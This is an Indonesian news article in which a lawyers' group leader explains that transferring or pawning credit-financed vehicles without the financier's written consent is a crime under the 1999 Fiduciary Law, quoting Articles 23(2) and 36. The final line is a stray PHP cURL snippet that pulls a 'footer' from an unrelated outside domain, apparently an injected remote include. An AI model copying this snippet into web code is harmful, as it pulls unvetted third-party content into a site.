Undang-Undang Nomor 42 Tahun 1999 Tentang Fidusia

Selasa, 26 Januari 2021

facebook twitter whatsapp telegram line copy

URL berhasil dicopy

facebook icon twitter icon whatsapp icon telegram icon line icon copy

URL berhasil dicopy

PANGKALPINANG, Jejakkasus.info –  Ketua DPD Himpunan Advokat Muda Indonesia Bersatu Bangka Belitung Feriyawansyah.SH.MH.Cpcle, mengatakan, oper kredit yang dilakukan sepihak, yang terjadi di lingkungan masyarakat seringkali terjadi, dan perbuatan tersebut akan berdampak hukum kepada siapa saja yang melakukannya.”Saya sebagai ketua DPD Himpunan Advokat Muda Indonesia Bersatu Bangka Belitung, ingin sekali mensosialisasikan Undang-Undang Nomor 42 Tahun 1999 Tentang Jaminan Fidusia, menurut saya, ini penting sekali dan harus disosialisasikan, karena banyak sekali masyarakat yang tidak mengerti, dan tidak paham. Karena pemahaman masyarakat sangat minim tentang Undang-Undang Nomor 42 Tahun 1999 Tentang Fidusia,” ujarnya saat dikonfirmasi melalui via WhatsApp, Selasa (26/1/2021).

Baca Juga:  Bangun Masjid Agung di Kota Pangkalpinang, Molen Yakini Rencana Akan Terwujud

Maka dari itu banyak terjadi kendaraan tersebut di alihkan dan diperjualbelikan, yang mana kendaraan tersebut, masih dalam masa kredit.”Padahal Undang-Undang Nomor 42 Tahun 1999 tersebut,  ada pasal yang mengatur tentang pidana penjaranya,” jelas Feriyawansyah.

Di dalam Pasal 23 Ayat (2) Undang-Undang Nomor 42 Tahun 1999 Tentang Jaminan Fidusia (UU Fidusia), pemberi fidusia dapat menggadaikan benda yang dijadikan jaminan fidusia, asalkan ada persetujuan tertulis dari penerima fidusia.”Akan tetapi, jika anda tidak mendapat persetujuan tertulis dari penerima fidusia (dalam hal ini perusahaan pembiayaan), maka berdasarkan Pasal 36 Undang-Undang Fidusia. Anda diancam dengan pidana penjara paling lama 2 (dua) tahun dan denda paling banyak Rp. 50.000.000 (lima puluh juta rupiah),” ungkap Ketua DPD Himpunan Advokat Muda Indonesia Bersatu Bangka Belitung.

Baca Juga:  Edy Mulyadi Tersangka, DPP LIPPI : Apresiasi Langkah Bareskrim Polri

Pasal 23 ayat (2) UU Fidusia

“Pemberi Fidusia dilarang mengalihkan, menggadaikan, atau menyewakan kepada pihak lain Benda yang menjadi objek Jaminan Fidusia yang tidak merupakan benda persediaan, kecuali dengan persetujuan tertulis terlebih dahulu dari Penerima Fidusia”.

Baca Juga:  Diduga Proyek Siluman Kangkangi UUD KIP Tanpa Papa Informasi Sesuai amanah

Pasal 36 UU Fidusia

“Pemberi Fidusia yang mengalihkan, menggadaikan, atau menyewakan Benda yang menjadi objek jaminan Fidusia yang dimaksud dalam Pasal 23 ayat (2) yang dilakukan tanpa persetujuan tertulis terlebih dahulu dari Penerima Fidusia, dipidana dengan pidana penjara paling lama 2 (dua) tahun dan denda paling tua banyak Rp 50.000.000 (lima puluh juta) rupiah”.

“Dan kedepan saya berharap, tidak ada lagi masyarakat yang terjebak dengan Undang-Undang Nomor 42 Tahun 1999 Tentang Fidusia, dan selalu mengedepankan prinsip kehati-hatian.

(Jenny Siskawati/Andriyadi)

Follow WhatsApp Channel jejakkasus.info untuk update berita terbaru setiap hari Follow

Berita Terkait

Lapor Pak Kapolda Lampung Pemandangan Fenomena Langkanya BBM Subsidi Di SPBU 24.353.48 Candimas ,Menuai Banyak Tanda Tanya
Kakon Banjar Sari Edi Purwanto Diduga Kuat Selewengkan Dana Desa
Camat Negerikaton Diduga Langgar Netralitas ASN, Bawaslu dan Polda Lampung Serukan Tindakan Tegas
RR alias Randa, Pelaku Curat Motor dan Gas Elpiji, Diringkus Tim Unit Reskrim Polsek Sungai Selan
Siapakah Sosok PTR, IWN, AJNG yang Ditakutkan APH yang Berani Mengkordinir Tambang di Laut Kerangan dan Tembelok
Walaupun Sudah Diketahui oleh Penegak Hukum Puluhan Tambang Ilegal di Laut Kerangan, Diduga APH tidak Perduli ataukah Dugaan Ada Kordinasi yang Baik
Polda Lampung Ciduk 2 Tersangka Pengelola Situs Judi Online
Polres Pringsewu Grebek Rumah di Sukoharjo, Tangkap Pengedar Sabu dan Amankan Belasan Paket Narkoba

Berita Terkait

Jumat, 11 Oktober 2024 - 07:45 WIB

Lapor Pak Kapolda Lampung Pemandangan Fenomena Langkanya BBM Subsidi Di SPBU 24.353.48 Candimas ,Menuai Banyak Tanda Tanya

Kamis, 10 Oktober 2024 - 16:33 WIB

Kakon Banjar Sari Edi Purwanto Diduga Kuat Selewengkan Dana Desa

Sabtu, 5 Oktober 2024 - 22:39 WIB

Camat Negerikaton Diduga Langgar Netralitas ASN, Bawaslu dan Polda Lampung Serukan Tindakan Tegas

Rabu, 2 Oktober 2024 - 21:47 WIB

RR alias Randa, Pelaku Curat Motor dan Gas Elpiji, Diringkus Tim Unit Reskrim Polsek Sungai Selan

Kamis, 26 September 2024 - 13:27 WIB

Siapakah Sosok PTR, IWN, AJNG yang Ditakutkan APH yang Berani Mengkordinir Tambang di Laut Kerangan dan Tembelok

Berita Terbaru

$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, 'https://umrohkemenag.org/footer/'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch);?>